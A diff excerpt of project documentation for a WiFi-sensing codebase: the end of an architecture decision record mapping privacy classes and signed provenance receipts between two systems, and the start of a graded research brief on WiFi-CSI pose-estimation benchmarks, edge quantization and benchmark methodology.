- BFLD `PrivacyAttestationProof` — **BLAKE3, unsigned**, attests mode/class continuity only; **built but NOT on the live path** (ADR-141 status line ~597; `bfld/src/privacy_mode.rs:121-148`).
|
||||
- Engine-cycle `TrustedOutput.witness: [u8;32]` — **BLAKE3, unsigned**, over the full trust decision; **LIVE every cycle** (`wifi-densepose-engine/src/lib.rs:598-613`).
|
||||
- `cog-ha-matter::WitnessChain` — **SHA-256 hash chain + Ed25519 signatures** (`v2/crates/cog-ha-matter/src/witness.rs:138-151`; `witness_signing.rs:39-76`), JSONL-persisted, `verify()` + `verify_signature()`. Implemented for ADR-116 (cog/Matter audit log); **standalone, not wired to BFLD/engine**. Its `WitnessHash` newtype doc explicitly anticipates a hash-algo migration (`witness.rs:37-41`).
|
||||
- **No numeric trust score.** "Trust" in code = `base_coherence: f32∈[0,1]` + `penalized_coherence()` (`signal/.../fusion_quality.rs:99,122-126`) + a **boolean** `forces_privacy_demotion()` (`:116`). Demotion is monotonic and irreversible (`demote_one` clamps at Restricted, `engine/src/lib.rs:617-619`).
|
||||
- **Structured provenance exists, but no signed "receipt" on the sensing path.** `SemanticProvenance { evidence, model_version, calibration_version, privacy_decision }` (`v2/crates/wifi-densepose-worldgraph/src/model.rs:137-147`) is attached to every belief and is the *input* to the BLAKE3 witness — but it is unsigned and not called a receipt.
|
||||
|
||||
### 3.2 Side-by-side, graded
|
||||
|
||||
| Dimension | RuView (file:line) | RuField | Alignment |
|
||||
|---|---|---|---|
|
||||
| Privacy ladder | `PrivacyClass` 4 (`bfld/lib.rs:103`) **or** `PrivacyMode` 5 (`bfld/privacy_mode.rs:18`) | `PrivacyClass` 6 (P0–P5, `rufield-core/privacy.rs:8`) | **PARTIAL→CONFLICT** — no clean 1:1; counts differ (4/5 vs 6); RuView class ordering non-monotonic |
|
||||
| Demotion direction | higher = more private, irreversible (`engine/lib.rs:617`) | higher P# = more private, `Ord` by decl order (`privacy.rs:8-25`) | **STRONG** (same direction) |
|
||||
| Provenance receipt | `SemanticProvenance` unsigned (`worldgraph/model.rs:137`) | `ProvenanceRef` + ed25519 (`event.rs:73`) | **PARTIAL** — structured but unsigned |
|
||||
| Witness crypto (live path) | BLAKE3 `[u8;32]`, unsigned (`engine/lib.rs:598`) | sha256 + ed25519 (`rufield-provenance/lib.rs:26,135`) | **CONFLICT** (algo + signing) |
|
||||
| Witness crypto (cog-ha-matter) | **SHA-256 + Ed25519** (`cog-ha-matter/witness.rs`, `witness_signing.rs`) | **sha256 + ed25519** | **STRONG** — RuField's exact crypto, already in-repo, but unwired and in another bounded context |
|
||||
| Trust / confidence | `penalized_coherence: f32` + boolean demote (`fusion_quality.rs:122`) | `confidence: f32` per observation | **WEAK** — RuView has no graded trust object; confidence maps, demotion is binary |
|
||||
|
||||
### 3.3 The recommendation (the key call)
|
||||
|
||||
**Adopt ONE canonical model with a documented, lossy-but-monotonic mapping — do not run two parallel schemes.** Concretely:
|
||||
|
||||
1. **Privacy: RuView `effective_class` is the source of truth; the bridge maps it onto RuField `PrivacyClass`** at the egress boundary. The honest mapping (graded ARCHITECTURE — it is a *policy* decision, and it is **monotonicity-testable**, not an accuracy claim):
|
||||
|
||||
| RuView `PrivacyClass` | → RuField | Rationale |
|
||||
|---|---|---|
|
||||
| `Raw` (raw CSI amplitude) | `P0` | raw waveform |
|
||||
| `Derived` (identity embedding, LAN-only) | `P4` *(or P5 if identity-bound)* | derived **identity** features ⇒ biometric/identity tier, **not** P1 — RuView's non-monotonic `Derived=1` is the trap; map by *information content*, not byte value |
|
||||
| `Anonymous` (occupancy/aggregate) | `P2`/`P3` | occupancy → P2, room-count aggregate → P3 |
|
||||
| `Restricted` (zeroized) | `P2`-capped, raw suppressed | matches `suppress_raw_outputs` (`engine_bridge.rs:240`) |
|
||||
|
||||
The bridge **must** map `Derived → P4/P5`, never P1, because RuView's `Derived` carries `identity_embedding` (§3.1) — this is the single most dangerous mapping mistake and gets a dedicated test (P2 in §4). `PrivacyMode` (5) is the better *operator-facing* join to RuField's 6 levels but the **class** is what gates egress, so the class mapping is canonical.
|
||||
|
||||
2. **Provenance: adopt `cog-ha-matter`'s SHA-256+Ed25519 chain as the carrier for RuField `ProvenanceReceipt`** — it is already RuField's exact crypto (graded STRONG above), already implemented, already tamper-evident. The bridge constructs the RuField `ProvenanceRef` by: `raw_hash = sha256(csi bytes)`, `model_id`/`calibration_id` from `SemanticProvenance`, and **embeds the live BLAKE3 engine witness `[u8;32]` as a hashed provenance field** (it is already computed every cycle — do not throw it away), then **signs with ed25519** so `is_fusable` passes for live (non-synthetic) events. We do **not** add a second BLAKE3-vs-ed25519 argument: BLAKE3 stays RuView's internal fast cycle-fingerprint; ed25519 is the *external* attestation RuField requires. One signer, one chain.
|
||||
|
||||
3. **Trust: map `penalized_coherence` → `Observation.confidence`; keep demotion binary.** RuView has no graded trust object to reconcile; the coherence scalar is the honest analog and the demotion boolean already drives `effective_class`.
|
||||
|
||||
This is a **bridge-with-canonical-source**, not "keep both forever." RuView owns the privacy decision (it has the live governed cycle); RuField owns the *external wire shape* (P0–P5 + signed receipt). The bridge is the one-directional translation, and it is the only place the two schemes meet.
|
||||
|
||||
---
|
||||
|
||||
## 4. Phased plan (each phase independently shippable + testable)
|
||||
|
||||
**P1 — `SensingServerAdapter` emitting `FieldEvent`s (ARCHITECTURE).**
|
||||
New crate `wifi-densepose-rufield` with a `SensingServerAdapter` that consumes a `(SensingUpdate, TrustedOutput)` pair (tapped at `main.rs:5886`/`:5938`) and emits a signed `FieldEvent` (`Modality::WifiCsi`, axes `[Frequency]`, observation features from `SensingUpdate.features`, `confidence` from `penalized_coherence`). Offline path: keep `CsiReplayAdapter` for recorded `.csi.jsonl`. **Gate:** a round-trip test — emit a `FieldEvent` from a fixture `SensingUpdate`, assert it serializes, `is_fusable` passes (ed25519-signed), and `RuFieldFusion::ingest` accepts it. No server changes required beyond exposing the tap; the adapter is a library.
|
||||
|
||||
**P2 — privacy/provenance bridge (the crux, ARCHITECTURE).**
|
||||
Implement the §3.3 mapping: `effective_class → PrivacyClass`, `cog-ha-matter` ed25519 signer for the receipt, BLAKE3 witness embedded. **Gates (three, all monotonicity/safety, not accuracy):** (a) `Derived → P4|P5` never P1 (the dangerous-mapping test); (b) privacy monotonicity — `demoted == true` ⇒ emitted `PrivacyClass >= P2` and raw suppressed; (c) signature round-trip — sign with the cog-ha-matter key, `rufield_provenance::verify_event` passes. This phase is shippable without P3 (events emitted on an internal topic, not yet on the public wire).
|
||||
|
||||
**P3 — surface in `/ws` + viewer (ARCHITECTURE).**
|
||||
Add an opt-in `/ws/field` endpoint (or a `field_events` array on `SensingUpdate` behind a flag) carrying the signed `FieldEvent` + a privacy badge. Add an ingest route to `rufield-viewer` (it has none today — `server.rs:63-72`) so it can replay RuView's live feed instead of only `SyntheticSim`. **Gate:** a WS integration test asserting a connected client receives a privacy-badged, signature-verifiable `FieldEvent`; a viewer test asserting the new ingest route renders a live event. The `cognitum` appliance can speak RuField by consuming this endpoint (it already runs `ruview-vitals-worker`); deferred to its own ADR.
|
||||
|
||||
**P4 — fusion composition + multi-modality (ARCHITECTURE, optional).**
|
||||
Wire a second modality (cheapest: an `rvcsi`-sourced event, or recorded mmWave) into `RuFieldFusion` alongside the WiFi event, proving cross-modality fusion above ruvsense. **Gate:** a fusion test with two modalities producing ≥1 cross-modal inference, with provenance coverage 100%.
|
||||
|
||||
---
|
||||
|
||||
## 5. Decision matrix
|
||||
|
||||
### 5.1 Data-path emission (P1)
|
||||
|
||||
| Option | Latency | Reuse | Live-fit | Risk | Verdict |
|
||||
|---|---|---|---|---|---|
|
||||
| Re-use `CsiReplayAdapter` on hot path | poor (file buffer, `&str` ctor) | high | **bad** — it's a file-cursor, not a live source | low | **Reject for live** (keep for replay) |
|
||||
| In-process `SensingServerAdapter` (tap `SensingUpdate`+`TrustedOutput`) | good | medium | **good** — taps the real emit + real trust state | low | **CHOSEN** |
|
||||
| Server publishes `FieldEvent` on its own topic (no adapter trait) | good | low | good | medium (bypasses `FieldAdapter` contract) | Reject — loses the trait seam |
|
||||
|
||||
### 5.2 Fusion relationship (P3/P4)
|
||||
|
||||
| Option | Verdict |
|
||||
|---|---|
|
||||
| Merge ruvsense into rufield-fusion | **Reject** — different scopes; ruvsense is within-WiFi multi-link, rufield is cross-modality |
|
||||
| rufield-fusion wraps ruvsense (vertical compose) | **CHOSEN** — ruvsense → one WiFi `FieldEvent` → rufield cross-modality graph |
|
||||
| Run both as peers, reconcile after | Reject — duplicates fusion semantics, two contradiction models |
|
||||
|
||||
### 5.3 Privacy/provenance reconciliation (P2)
|
||||
|
||||
| Option | Verdict |
|
||||
|---|---|
|
||||
| (a) Map RuView classes onto RuField P0–P5, RuView canonical | **CHOSEN (privacy)** — `effective_class` is the live source of truth |
|
||||
| (b) Adopt RuField ed25519 receipts as RuView's provenance | **CHOSEN (provenance)** — via the already-present `cog-ha-matter` SHA-256+Ed25519 chain |
|
||||
| (c) Keep both schemes with a permanent bridge | **Reject** — two signed-receipt systems is the duplication we must not ship |
|
||||
|
||||
### 5.4 Dependency direction
|
||||
|
||||
| Option | Verdict |
|
||||
|---|---|
|
||||
| Depend on published rufield crates | **Reject** — not published (`vendor/rufield/Cargo.toml:31-37`) |
|
||||
| Make rufield a v2 workspace member | **Reject** — breaks the standalone-spec/`rvcsi` precedent |
|
||||
| Thin `wifi-densepose-rufield` bridge → path deps on submodule | **CHOSEN** — anti-corruption layer, single coupling point |
|
||||
|
||||
---
|
||||
|
||||
## 6. Security & honesty notes
|
||||
|
||||
- **No accuracy claim.** Live RuField events from RuView are derived from the same single-link CSI whose own caveats are on record (`field_localize.rs:16-27`); the offline path is unlabeled replay (`csi_replay.rs:19-31`). This ADR ships **plumbing with monotonicity/signature gates**, not validated F1.
|
||||
- **The dangerous mapping is `Derived → P1`.** RuView's `Derived` byte value (1) is numerically below `Anonymous` (2) but carries identity (`bfld/lib.rs`); a naive byte-mapping would leak identity-bearing features as low-privacy P1. P2's gate (a) exists specifically to prevent this.
|
||||
- **One signer, not two.** Adding a second ed25519 keypair alongside `cog-ha-matter`'s would create two roots of trust. The bridge reuses the cog-ha-matter signing key (`witness_signing.rs`).
|
||||
- **`is_fusable` is a real gate, not decoration** (`rufield-provenance/lib.rs:179-184`): live events that fail to sign are rejected by `RuFieldFusion::ingest` — we must not paper over a signing failure with `synthetic = true` on a real event (that would be the §11 invariant violation the spec forbids).
|
||||
- BLAKE3 stays internal; ed25519 is the external attestation. We do not relitigate RuView's BLAKE3 cycle-witness — it is embedded, not replaced.
|
||||
|
||||
## 7. Consequences
|
||||
|
||||
**Positive:** RuView becomes one honest adapter in the larger RuField ecosystem (ADR-260 goal §9) without forking its fusion or privacy engine; the three witness mechanisms get a single external attestation path; cross-modality fusion becomes possible above the existing WiFi fusion; the `cognitum` appliance gains a standard wire format. The bridge is the only coupling point, so rufield can evolve as a standalone spec.
|
||||
|
||||
**Negative:** a fourth crate to maintain; the privacy mapping is lossy (4/5 → 6) and must be kept honest by tests; reusing the `cog-ha-matter` key crosses a bounded-context boundary (cog/Matter ↔ sensing) that ADR-116 kept separate — that coupling needs review. The live trust metadata (`witness`, `effective_class`) is **currently decoupled** from `SensingUpdate` (§1.2), so P1 must do real join work, not a field read.
|
||||
|
||||
## 8. Open questions
|
||||
|
||||
1. **Signer ownership:** should the bridge reuse the `cog-ha-matter` Ed25519 key, or mint a dedicated RuView-sensing key with its own rotation? (Reuse couples bounded contexts; a new key adds a second root of trust.)
|
||||
2. **`PrivacyMode` vs `PrivacyClass` as the canonical map target:** class gates egress (chosen), but the 5-mode ladder is the cleaner join to 6 levels — do we expose mode in the receipt too?
|
||||
3. **Where does the BLAKE3 engine witness live in the RuField receipt** — a `firmware_hash`-style field, an extension field, or a `CalibrationReceipt.data_hash`? (RuField's `ProvenanceRef` has no spare slot; needs a spec extension or reuse of `model_id`.)
|
||||
4. **Should `field_localize` positions ride in `Observation.space_cell`/`motion_vector`** given the explicit single-link caveat, or stay RuView-only until multi-node calibration lands?
|
||||
5. **`rvcsi` relationship:** `rvcsi` has its own `CsiFrame`/`CsiWindow` and could implement `FieldAdapter` directly — should the second modality in P4 be `rvcsi`, making RuField the convergence point for *both* vendored sensing runtimes?
|
||||
6. **Transport:** RuField ADR-260 §29 leaves default transport open (MQTT/NATS/WS/MCP). RuView is WS + UDP + broadcast; does `/ws/field` suffice, or does the appliance need MQTT to match the cog stack?
|
||||
|
||||
## 9. Recommendation
|
||||
|
||||
Proceed with P1+P2 behind a feature flag. They are independently shippable, carry real gates (round-trip, monotonicity, signature-verify), and require no change to RuView's fusion or privacy engine — only a tap and a translation. Defer P3/P4 and the appliance/transport questions to follow-up ADRs once the bridge round-trips on recorded `.csi.jsonl` and on one live cycle.
|
||||
@@ -0,0 +1,147 @@
|
||||
# SOTA Evidence Brief — `wifi-densepose-nn` / `wifi-densepose-train` Benchmark ADR Seed
|
||||
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| **Date** | 2026-06-14 |
|
||||
| **Author** | deep-research (Opus) |
|
||||
| **Purpose** | Seed a future benchmark/optimization ADR for the NN-inference (`wifi-densepose-nn`) and training (`wifi-densepose-train`) crates |
|
||||
| **Scope** | The DELTA beyond what ADR-152 / ADR-150 / ADR-015 already establish — current published WiFi-CSI pose SOTA, winning architectures, edge-quantization SOTA, and a defensible benchmark-suite design |
|
||||
| **Ethos** | Every claim graded PEER-REVIEWED / PREPRINT / VENDOR-CLAIM / BLOG, with MEASURED-on-public-benchmark distinguished from marketing. Numbers that could not be verified are flagged. No fabricated citations. |
|
||||
|
||||
> **Citation discipline carried in from ADR-152 §2.2:** preprint accuracy numbers are CLAIMED until reproduced on our hardware. The project has already retracted its own "92.9% PCK@20" and "shipped-WiFlow-STD 97.25%" figures after measurement; this brief inherits that bar.
|
||||
|
||||
---
|
||||
|
||||
## 1. Executive summary
|
||||
|
||||
**Where the project stands vs the 2026 frontier.** The repo is, by the evidence already in-tree, *ahead of most academic groups on benchmark hygiene* and roughly *at parity on capability* — but the two are measured on incompatible yardsticks, which is the single biggest risk to any "beyond-SOTA" claim.
|
||||
|
||||
- The project's headline reproductions (`benchmarks/wiflow-std/RESULTS.md`) are MEASURED and rigorous: WiFlow-STD retrained to **96.09–96.61% PCK@20** on the authors' own 360k-window 2D dataset (RTX 5080), shipped checkpoint REFUTED, dataset/code defects documented. This is a genuinely strong, reproducible result.
|
||||
- **But that number is not on a standard public benchmark.** WiFlow-STD's dataset is self-collected (5 subjects, 15 keypoints, 2D, in-domain random split, hardware unspecified). The academic frontier on the *standard* public 3D benchmark (MM-Fi) reports **PCK@20 ≈ 61% / MPJPE ≈ 161 mm random-split** (GraphPose-Fi, Nov 2025) — a *harder* metric (3D, mm-scale, standard PCK normalization). The project's own AetherArena MM-Fi number (**81.63% torso-PCK@20 in-domain**, ADR-150) uses a *torso-normalized PCK* that is looser than GraphPose-Fi's standard PCK, so the three numbers (96% / 81.6% / 61%) **cannot be lined up** without a unified harness. Making them comparable IS the highest-value work item.
|
||||
- The deployment frontier — **cross-subject / cross-environment generalization** — is where everyone collapses, the project included (ADR-150: 81.63% in-domain → ~11.6% leakage-free cross-subject). GraphPose-Fi independently confirms the cliff (61.1% random → 12.9% cross-environment PCK@20). This is the real research target, not in-domain PCK.
|
||||
|
||||
**Top 3 highest-value optimization/benchmark targets:**
|
||||
|
||||
1. **A unified, metric-locked accuracy harness in `wifi-densepose-train`** that scores any model under *one* explicit PCK definition (normalization, keypoint convention, split) so WiFlow-STD-repro, AetherArena/MM-Fi, and GraphPose-Fi numbers become directly comparable. Without this, no "beyond-SOTA" claim survives the "prove it" bar — the project has already been burned twice by metric ambiguity (the retracted 92.9% used absolute, not torso-normalized, PCK).
|
||||
2. **A QAT path for the WiFlow-STD-class edge model.** The in-tree edge work (`RESULTS.md`) has *fully characterized PTQ* (static QDQ conv-only is the int8 sweet spot; dynamic int8 is a no-op on this all-conv architecture) and found the **half model (843k params) strictly dominates the published 2.23M** and **tiny (56k, 295 KB ONNX fp32) holds 94.1% PCK@20**. The one untested lever is **quantization-aware training**, which the general literature says recovers most of the PTQ accuracy gap. That is the next defensible edge win.
|
||||
3. **Criterion-backed regression benches wired into CI** for the real Candle/ONNX forward path. The benches *exist* (`wifi-densepose-nn/benches/{inference,onnx,native_conv}_bench.rs`, `wifi-densepose-train/benches/training_bench.rs`) and `benchmarks/edge-latency/RESULTS.md` shows the methodology is sound (host≠ESP32 caveat made explicit). The gap is turning point-in-time captures into committed regression baselines.
|
||||
|
||||
---
|
||||
|
||||
## 2. Findings per research question
|
||||
|
||||
### RQ1 — Latest WiFi-CSI pose SOTA (2024–2026): published PCK@20 / MPJPE on the standard public benchmarks
|
||||
|
||||
The crucial framing: **"WiFi pose SOTA" splits into two non-comparable tracks** — 3D pose on MM-Fi/Person-in-WiFi-3D (mm-scale MPJPE, standard PCK) vs 2D pose on self-collected sets (image-normalized PCK). The project's flagship reproduction lives in the second track; the academic frontier lives in the first.
|
||||
|
||||
| Method | Venue / Year | Benchmark + split | PCK@20 | MPJPE | Grade |
|
||||
|---|---|---|---|---|---|
|
||||
| **GraphPose-Fi** (arXiv [2511.19105](https://arxiv.org/abs/2511.19105)) | PREPRINT, Nov 2025 | MM-Fi P1, **random split** | **61.1%** | **160.6 mm** (PA-MPJPE 105.0) | numbers MEASURED-in-study (preprint); beats MetaFi++, HPE-Li, DT-Pose |
|
||||
| GraphPose-Fi | same | MM-Fi P1, **cross-subject** | 44.2% | 210.5 mm | same |
|
||||
| GraphPose-Fi | same | MM-Fi P1, **cross-environment** | 12.9% | 302.7 mm | same — the generalization cliff |
|
||||
| **DT-Pose** (arXiv [2501.09411](https://arxiv.org/abs/2501.09411)) | PREPRINT (ICLR'25 OpenReview [aPnLQ6WfQQ](https://openreview.net/forum?id=aPnLQ6WfQQ)), Jan 2025; code [cseeyangchen/DT-Pose](https://github.com/cseeyangchen/DT-Pose) | MM-Fi (domain-gap + topology focus) | not cleanly extractable from abstract | reports MPJPE; self-supervised masked pretrain + topology decode | numbers NOT verified at exact-table level here — flagged |
|
||||
| **Person-in-WiFi-3D** (CVPR 2024, [openaccess](https://openaccess.thecvf.com/content/CVPR2024/html/Yan_Person-in-WiFi_3D_End-to-End_Multi-Person_3D_Pose_Estimation_with_Wi-Fi_CVPR_2024_paper.html)) | **PEER-REVIEWED**, CVPR 2024 | own 97k-frame multi-person set | — (multi-person, not single-PCK) | **91.7 mm (1p) / 108.1 (2p) / 125.3 (3p)** 3D joint error | MEASURED (peer-reviewed); own dataset, not MM-Fi |
|
||||
| **WiFlow-STD** (arXiv [2602.08661](https://arxiv.org/abs/2602.08661), [DY2434 repo](https://github.com/DY2434/WiFlow-WiFi-Pose-Estimation-with-Spatio-Temporal-Decoupling)) | PREPRINT, Apr 2026 | self-collected, 5-subj, **2D, in-domain random** | 97.25% (claimed) | 0.007 m (image-norm) | claimed CLAIMED; **project reproduced 96.09–96.61% (MEASURED, RTX 5080)** after repairing dataset/code |
|
||||
| **PerceptAlign** (arXiv [2601.12252](https://arxiv.org/abs/2601.12252)) | PREPRINT + MobiCom'26 acceptance | own 7-layout cross-domain 3D set | — | 222.4 mm (Scene4) / 317.1 (Scene5), claims −54% cross-env vs SOTA | CLAIMED (preprint); failure mode corroborated |
|
||||
| **Project AetherArena** (ADR-150, [issue #876](https://github.com/ruvnet/RuView/issues/876)) | internal | MM-Fi, **random split**, **torso-PCK** | **81.63% torso-PCK@20** | — | MEASURED-internal; **torso-PCK ≠ GraphPose-Fi standard PCK** |
|
||||
| **Project WiFlow-STD repro** (`benchmarks/wiflow-std/RESULTS.md`) | internal | their data, their split | **96.09–96.61%** | 0.0094–0.0098 m | MEASURED-internal (RTX 5080) |
|
||||
|
||||
**How the project's ~96% compares to the frontier:** It is *not directly comparable*. The 96% is on an easier task (2D, in-domain, image-normalized PCK, single-environment, 5 subjects) than GraphPose-Fi's 61.1% (3D, standard PCK, mm-scale). The project's own MM-Fi-track number (81.63% torso-PCK@20) *appears* to beat GraphPose-Fi's 61.1%, **but only because torso-PCK is a looser normalization** — the project explicitly flags this (ADR-150 cites beating "MultiFormer's 72.25%" under the *same* torso metric, not GraphPose-Fi's). The honest statement: **the project is competitive on in-domain MM-Fi under its own torso metric, and collapses cross-subject exactly as the published frontier does.** No public number lets the project claim "beyond-SOTA" today.
|
||||
|
||||
### RQ2 — What's winning architecturally now (2025–2026)
|
||||
|
||||
The clear trend across the verified 2025–2026 papers:
|
||||
|
||||
- **Graph / skeleton-aware decoders are the current academic SOTA on MM-Fi.** GraphPose-Fi (PREPRINT, Nov 2025) wins by injecting anatomical graph structure into the decoder — exactly the `GraphPose-Fi-style skeleton-aware graph head` ADR-150 §2.2 already names as the planned decoder. *The project's architecture direction matches the frontier.*
|
||||
- **Self-supervised masked pretraining (MAE) is the cross-domain lever, not capacity.** UNSW MAE study (arXiv [2511.18792](https://arxiv.org/abs/2511.18792), PREPRINT, Nov 2025): cross-domain gains scale **log-linearly with pretraining data, unsaturated at 1.3M samples**; ViT-Base adds only 0.4–0.9% over ViT-Small. Recipe: **80% masking, (30,3) small patches**. DT-Pose (arXiv 2501.09411) independently uses masked pretraining + topology constraints for the domain gap. *Caveat (MEASURED in ADR-152 §2.3): UNSW's downstream tasks are classification, not pose — pose transfer remains a hypothesis. The project's own measurement (b) found WiFlow-STD pretrained features give optimization transfer but NOT feature transfer to ESP32 CSI.*
|
||||
- **Spatio-temporal decoupling is the efficiency lever.** WiFlow-STD's whole contribution is decoupling spatial and temporal CSI processing to hit 2.23M params. The project verified the params/FLOPs (MEASURED) and then **beat it**: the half-model (843k) matches accuracy with 0.38× params (`RESULTS.md` efficiency sweep).
|
||||
- **Geometry/layout conditioning is the cross-layout lever.** PerceptAlign (MobiCom'26): fusing transceiver-position embeddings + two-checkerboard calibration, claimed −60% cross-domain. ADR-152 §2.1 already adopted this (`NodeGeometry`, geometry embeddings).
|
||||
- **NOT winning / absent:** diffusion models for CSI pose did not surface in the verified frontier. Full DensePose-UV regression from commodity WiFi remains undemonstrated (ADR-152 F5, MEASURED by full-text screening). No 2025–2026 paper was found that *beats the project's current direction* — the project is tracking, not trailing, the architecture frontier.
|
||||
|
||||
**Verdict RQ2:** the winning stack (MAE pretrain → graph/skeleton decoder → geometry conditioning, ViT-Small-class capacity) is *already the planned ADR-150/152 stack*. The gain available is not a new architecture; it's (a) more heterogeneous pretraining data and (b) honest cross-domain measurement.
|
||||
|
||||
### RQ3 — Edge/quantized inference SOTA for small CSI pose models
|
||||
|
||||
The in-tree edge work (`benchmarks/wiflow-std/RESULTS.md` "Edge optimization" + "Static PTQ" + "Efficiency sweep") is already at or beyond what the public literature offers for this specific model class, and is MEASURED. Key findings to carry forward:
|
||||
|
||||
- **Dynamic INT8 is a trap on all-conv CSI models.** WiFlow-STD has **zero `nn.Linear` layers** (21 Conv1d + 22 Conv2d + BatchNorm). `torch.quantize_dynamic` quantizes 0% of params (dynamic int8 has no conv kernels). MEASURED.
|
||||
- **Static QDQ conv-only PTQ is the int8 sweet spot.** PCK@20 96.60–96.63% (vs fp32 96.68%, dynamic 96.52%), 2.53 MB. All-ops QDQ is strictly worse (−1.4 pt). MEASURED.
|
||||
- **ONNX Runtime fp32 is the real CPU latency win**: 3.2 ms/window batch-1 vs torch 11.0 ms (~3.4×) at parity (2.4e-7). int8 is ~2× *slower* than ONNX fp32 at batch-1 (ConvInteger kernels). MEASURED.
|
||||
- **Smaller-than-published dominates.** half (843k) ≥ full on accuracy; **tiny (56k, 295 KB ONNX fp32, 0.66 ms/win, 94.1% PCK@20)** is the smallest deployable artifact. At tiny scale int8 is a *bad* trade (−1.43 pt for −47 KB). MEASURED.
|
||||
- **General QAT-vs-PTQ context (BLOG/VENDOR):** [NVIDIA TensorRT QAT blog](https://developer.nvidia.com/blog/achieving-fp32-accuracy-for-int8-inference-using-quantization-aware-training-with-tensorrt/), [Ultralytics QAT glossary](https://www.ultralytics.com/glossary/quantization-aware-training-qat), [ONNX Runtime quantization docs](https://onnxruntime.ai/docs/performance/model-optimizations/quantization.html): QAT "almost always" recovers accuracy PTQ loses on sensitive models; ONNX Runtime does NOT retrain (QAT must happen in PyTorch, then export QDQ). The [Onboard Optimization survey, arXiv 2505.08793](https://arxiv.org/pdf/2505.08793) (PREPRINT) covers on-device optimization broadly. These are *general* claims, not CSI-pose-specific — grade accordingly.
|
||||
- **Hailo / Pi target (CLAUDE.local.md):** the 4× Pi+Hailo cluster (Hailo-8 @ 26 TOPS / Hailo-10 @ 40 TOPS) needs a **HEF** compile path, which is its own toolchain (not ONNX/Candle). No in-tree HEF benchmark exists yet — this is a genuine gap for the edge-inference claim.
|
||||
|
||||
**Actionable for an inference-speed benchmark:** the honest comparand set is `{torch fp32, ONNX fp32, ONNX static-QDQ-conv-only int8, candle fp32}` × `{full, half, tiny}` on a fixed host, with the **host≠ESP32 / host≠Hailo caveat stated up front** (the `edge-latency/RESULTS.md` template already does this correctly). The one new datapoint worth producing: **QAT-int8 on the half model** to test whether QAT closes the PTQ −0.16 pt gap *and* keeps the size win.
|
||||
|
||||
### RQ4 — Rigorous, reproducible benchmark methodology
|
||||
|
||||
The repo already demonstrates the right methodology in three places — the ADR should codify it, not invent it:
|
||||
|
||||
- **`benchmarks/wiflow-std/RESULTS.md`** — the gold standard already in-tree: pinned upstream commit, seed-42 file-level split documented, corruption masks committed as ground truth, every forced deviation recorded, mean-pose honesty baseline, MEASURED-vs-CLAIMED grading.
|
||||
- **`benchmarks/edge-latency/RESULTS.md`** — criterion 0.5, explicit host machine, low/median/high brackets, contention caveat, host≠ESP32 separation, steady-state-vs-cold-start distinction.
|
||||
- **Rust micro-bench:** criterion benches already exist in both crates (`wifi-densepose-nn/benches/`, `wifi-densepose-train/benches/`).
|
||||
|
||||
What a credible "beyond-SOTA" claim requires (the bar that survives "prove it"):
|
||||
1. **One locked accuracy definition** — PCK normalization (torso vs absolute vs bbox), keypoint convention (15 vs 17 COCO), and split (random / cross-subject / cross-environment) declared *before* the run. The retracted 92.9% died exactly because PCK normalization was unstated.
|
||||
2. **A mean-pose / constant-output honesty baseline** on every split (already done in measurement (b) — a single-subject near-static set scored 95.9% torso-PCK@20 with a *constant* pose). Any claim must beat this.
|
||||
3. **MEASURED-vs-CLAIMED grading** per number, with the exact command and raw-JSON path committed.
|
||||
4. **Cross-domain, not just in-domain.** In-domain PCK is saturated and uninformative; the defensible claim is on cross-subject/cross-environment, where the frontier is 12–44% PCK@20.
|
||||
|
||||
---
|
||||
|
||||
## 3. Proposed benchmark-suite design
|
||||
|
||||
A two-part suite (`wifi-densepose-train` accuracy harness + `wifi-densepose-nn` latency harness), both committing raw JSON + a graded RESULTS.md.
|
||||
|
||||
### 3.1 Accuracy harness (`wifi-densepose-train`)
|
||||
|
||||
- **Metric module with one canonical PCK** (parameterized: `{torso, bbox, absolute}` normalization × threshold × keypoint-map), so a single function scores WiFlow-STD-repro, MM-Fi/AetherArena, and a GraphPose-Fi re-run identically. Lock the default to **torso-PCK@20 on 17-kp COCO** and *always* also print standard-PCK to expose the gap.
|
||||
- **Fixed datasets/splits:** (i) WiFlow-STD cleaned 360k (their split, for repro parity), (ii) MM-Fi P1 random + cross-subject + cross-environment (to line up against GraphPose-Fi 61.1/44.2/12.9 and the project's 81.63), (iii) ESP32 paired eval set when ≥2k multi-subject windows exist.
|
||||
- **Mandatory honesty baselines** emitted every run: mean-pose, constant-output, and (for cross-domain) source-only.
|
||||
- **Output:** raw JSON + a RESULTS.md table with MEASURED/CLAIMED grades, mirroring `benchmarks/wiflow-std/RESULTS.md`.
|
||||
|
||||
### 3.2 Latency/size harness (`wifi-densepose-nn`)
|
||||
|
||||
- **Matrix:** `{torch fp32 (ref), ONNX fp32, ONNX static-QDQ-conv-only int8, candle fp32}` × `{full 2.23M, half 843k, tiny 56k}` × `{batch 1, 64}`, criterion-timed, host declared.
|
||||
- **Report:** disk size, batch-1 + batch-64 ms/window (median + low/high), and PCK@20 on the locked 10k-window subset, so latency and accuracy never get cited apart.
|
||||
- **Caveat block up front:** host ≠ ESP32-S3/WASM3, host ≠ Hailo HEF. No host number is presented as the edge number.
|
||||
- **CI gate:** commit the current medians as regression baselines; fail PRs that regress latency >X% or accuracy >Y pt.
|
||||
|
||||
### 3.3 What counts as a defensible "beyond-SOTA" result
|
||||
|
||||
A claim is citable only if **all** hold: (1) scored under a pre-declared metric/split, (2) beats the relevant published frontier number *on the same metric definition* (e.g. >61.1% standard-PCK@20 on MM-Fi random, or >12.9% on cross-environment), (3) beats the mean-pose honesty baseline, (4) raw JSON + exact command committed, (5) graded MEASURED. The single most valuable "beyond-SOTA" target is **cross-environment MM-Fi**, where the published bar (12.9% PCK@20) is low enough that a real win is both achievable and unambiguous.
|
||||
|
||||
---
|
||||
|
||||
## 4. Gap table
|
||||
|
||||
| Capability | Project current (graded) | Published SOTA (graded) | Proposed target | Data / hardware needed |
|
||||
|---|---|---|---|---|
|
||||
| In-domain 2D PCK@20 (self-collected) | 96.09–96.61% (MEASURED, RTX 5080, WiFlow-STD repro) | 97.25% claimed (WiFlow-STD, CLAIMED) | match within noise + own architecture | cleaned 360k dataset (have); already met |
|
||||
| In-domain MM-Fi PCK@20 (torso-norm) | 81.63% torso-PCK (MEASURED-internal) | GraphPose-Fi 61.1% *standard*-PCK (PREPRINT) — **not comparable** | re-score both under **one** PCK def | MM-Fi P1 (have); unified metric harness (gap) |
|
||||
